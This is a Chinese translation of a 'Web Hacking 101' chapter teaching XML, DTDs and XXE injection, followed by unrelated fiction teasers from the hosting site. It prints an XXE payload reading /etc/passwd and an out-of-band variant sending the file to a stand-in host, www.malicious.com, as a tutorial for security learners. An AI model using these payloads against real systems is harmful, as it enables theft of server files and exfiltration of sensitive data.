Web Hacking 101 中文版 十四、XML 外部實體注入(一)

十四、XML 外部實體注入

作者:Peter Yaworski

譯者:飛龍

協議:CC BY-NC-SA 4.0

XML 外部實體(XXE)漏洞涉及利用應用解析 XML 輸入的方式,更具體來說,應用程序處理輸入中外部實體的包含方式。為了完全理解理解如何利用,以及他的潛力。我覺得我們最好首先理解什么是 XML 和外部實體。

元語言是用于描述其它語言的語言,這就是 XML。它在 HTML 之后開發,來彌補 HTML 的不足。HTML 用于定義數據的展示,專注于它應該是什么樣子。房子,XML 用于定義數據如何被組織。

例如,HTML 中,你的標簽為<title>, <h1>, <table>, <p>,以及其它。這些東西都用于定義內容如何展示。<title>用于定義頁面的標題,<h1>標簽定義了標題,<table>標簽按行和列展示數據,并且<p>表示為簡單文本。反之,XML 沒有預定義的標簽。創建 XML 文檔的人可以定義它們自己的標簽,來描述展示的內容。這里是一個示例。

<?xml version="1.0" encoding="UTF-8"?> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

讀完了之后,你可以大致猜測出 XML 文檔的目的 -- 為了展示職位列表,但是如果它在 Web 頁面上展示,你不知道它看起來是什么樣。XML 的第一行是一個聲明頭部,表示 XML 的版本,以及編碼類型。在編寫此文的時候,XML 有兩個版本,1.0 和 1.1。它們的具體區別超出了本書范圍,因為它們在你滲透的時候沒什么影響。

在初始的頭部之后,標簽<jobs>位于所有其它<job>標簽的外面。<job>又包含<title><compensation><responsibilities>標簽。現在如果是 HTML,一些標簽并不需要(但最好有)閉合標簽(例如<br>),但是所有 XML 標簽都需要閉合標簽。同樣,選取上面的例子,<jobs>是個起始標簽,</jobs>是對應的閉合標簽。此外,每個標簽都有名稱,并且可以擁有屬性。使用標簽<job>,標簽名稱就是job,但是沒有屬性。另一方面,<responsibility>擁有名稱responsibility,并擁有屬性optional,由屬性名稱optional和值1組成。

由于任何人可以定義任何標簽,問題就來了,如果標簽可以是任何東西,任何一個人如何知道如何解析和使用 XML 文檔?好吧,一個有效的 XML 文檔之所以有效,是因為它遵循了 XML 的通用規則(我不需要列出它們,但是擁有閉合標簽是一個前面提過的例子),并且它匹配了它的文檔類型定義(DTD)。DTD 是我們繼續深入的全部原因,因為它是允許我們作為黑客利用它的一個東西。

XML DTD 就像是所使用的標簽的定義文檔,并且由 XML 設計者或作者開發。使用上面的例子,我就是設計者,因為我在 XML 中定義了職位文檔。DTD 定義了存在什么標簽,它們擁有什么屬性,以及其它元素里面有什么元素,以及其他。當你或者我創建自己的 DTD 時,一些已經格式化了,并且廣泛用于 RSS、RDF、HL7 SGML/XML。以及其它。

下面是 DTD 文件的樣子,它用于我的 XML。

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">

看一看這個,你可能猜到了它大部分是啥意思。我們的jobs標簽實際上是 XML !ELEMENT,并且可以包含job元素。job是個!ELEMENT,可以包含標題、薪資和職責,這些也都是!ELEMENT,并且只能包含字符數據(#PCDATA)。最后,!ELEMENT responsibility擁有一個可選屬性(!ATTLIST),默認值為 0。

并不是很難吧?除了 DTD,還有兩種還未討論的重要標簽,!DOCTYPE!ENTITY。到現在為止,我只說了 DTD 文件是我們 XML 的擴展。要記住上面的第一個例子,XML 文檔并不包含標簽定義,它由我們第二個例子的 DTD 來完成。但是,我們可以將 DTD 包含在 XML 文檔內,并且這樣做之后, XML 的第一行必須是<!DOCTYPE>元素。將我們的兩個例子組合起來,我們就會得到這樣的文檔:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

這里,我們擁有了內部 DTD 聲明。要注意我們仍然使用一個聲明頭部開始,表示我們的文檔遵循 XML 1.0 和 UTF8 編碼。但是之后,我們為 XML 定義了要遵循的DOCTYPE。使用外部 DTD 是類似的,除了!DOCTYPE<!DOCTYPE note SYSTEM "jobs.dtd">。XML 解析器在解析 XML 文件時,之后會解析jobs.dtd的內容。這非常重要,因為!ENTITY標簽被近似處理,并且是我們利用的關鍵。

XML 實體像是一個信息的占位符。再次使用我們之前的例子。,如果我們想讓每個職位都包含到我們網站的鏈接,每次都編寫地址簡直太麻煩了,尤其是 URL 可能改變的時候。反之,我們可以使用!ENTITY,并且讓解析器在解析時獲取內容,并插入到文檔中。你可以看看我們在哪里這樣做。

與外部 DTD 文檔類似,我們可以更新我們的 XML 文檔來包含這個想法:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]> 

<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>

這里你會注意到,我繼續并添加了Website!ELEMENT,但是不是#PCDATA,而是ANY。這意味著Website可以包含任何可解析的數據組合。我也定義了一個!ENTITY,帶有SYSTEM屬性,告訴解析器獲取wensite.txt文件的數據。現在一切都清楚了。

將它們放到一起,如果我包含了/etc/passwd,而不是website.txt,你覺得會發生什么?你可能戶菜刀,我們的 XML 會被解析,并且服務器敏感文件/etc/passwd的內容會包含進我們的內容。但是我們是 XML 的作者,所以為什么要這么做呢?

好吧。當受害者的應用可以濫用,在 XML 的解析中包含這種外部實體時,XXE 攻擊就發生了。換句話說,應用有一些 XML 預期,但是在接收時卻不驗證它。所以,只是解析他所得到的東西。例如,假設我正在運行一個職位公告板,并允許你注冊并通過 XML 上傳職位。開發我的應用時,我可能使我的 DTD 文件可以被你訪問,并且假設你提交了符合需求的文件。我沒有意識到它的危險,決定天真地解析收到的內容,并沒有任何驗證。但是作為一個黑客,你決定提交:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]> 
<foo>&xxe;</foo>

就像你現在了解的那樣,當這個文件被解析時,我的解析器會收到它,并且看到內部 DTD 定義了foo文檔類型,告訴它foo可以包含任何可解析的數據,并且有個!ENTITY xxe,它應該讀取我的/etc/passwd文件(file://的用法表示/etc/passwd的完整的文件 URL 路徑),并會將&xxe;替換為這個文件的內容。之后你以定義<foo>標簽的有效 XML 結束了它,這會打印出我的服務器數據。這就是 XXE 危險的原因。

但是等一下,還有更多的東西。如果應用不打印出回應,而是僅僅解析你的內容會怎么樣?使用上面的例子,內容會解析但是永遠不會反回給我們。好吧,如果我們不包含本地文件,而是打算和惡意服務器通信會怎么樣?像是這樣:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > 
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> 
]> 
<foo>&callhome;</foo>

在解釋它之前,你可能已經注意到我在callhome URL 中使用了%來代替&%xxe。這是因為%用于實體在 DTD 定義內部被求值的情況,而&用于實體在 XML 文檔中被求值的情況。現在,當 XML 文檔被解析,callhome !ENTITY會讀取/etc/passwd的內容,并遠程調用http://www.malicous.com,將文件內容作為 URL 參數來發送,因為我們控制了該服務器,我們可以檢查我們的日志,并且足夠確保擁有了/etc/passwd的內容。Web 應用的游戲就結束了。

所以,站點如何防范 XXE 漏洞?它們可以禁止解析任何外部實體。

鏈接

查看 OWASP 外部實體(XXE)解析

XXE 速查表

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,316評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,481評論 3 415
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,241評論 0 374
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,939評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,697評論 6 409
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,182評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,247評論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,406評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,933評論 1 334
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,772評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,973評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,516評論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,209評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,638評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,866評論 1 285
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,644評論 3 391
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,953評論 2 373

推薦閱讀更多精彩內容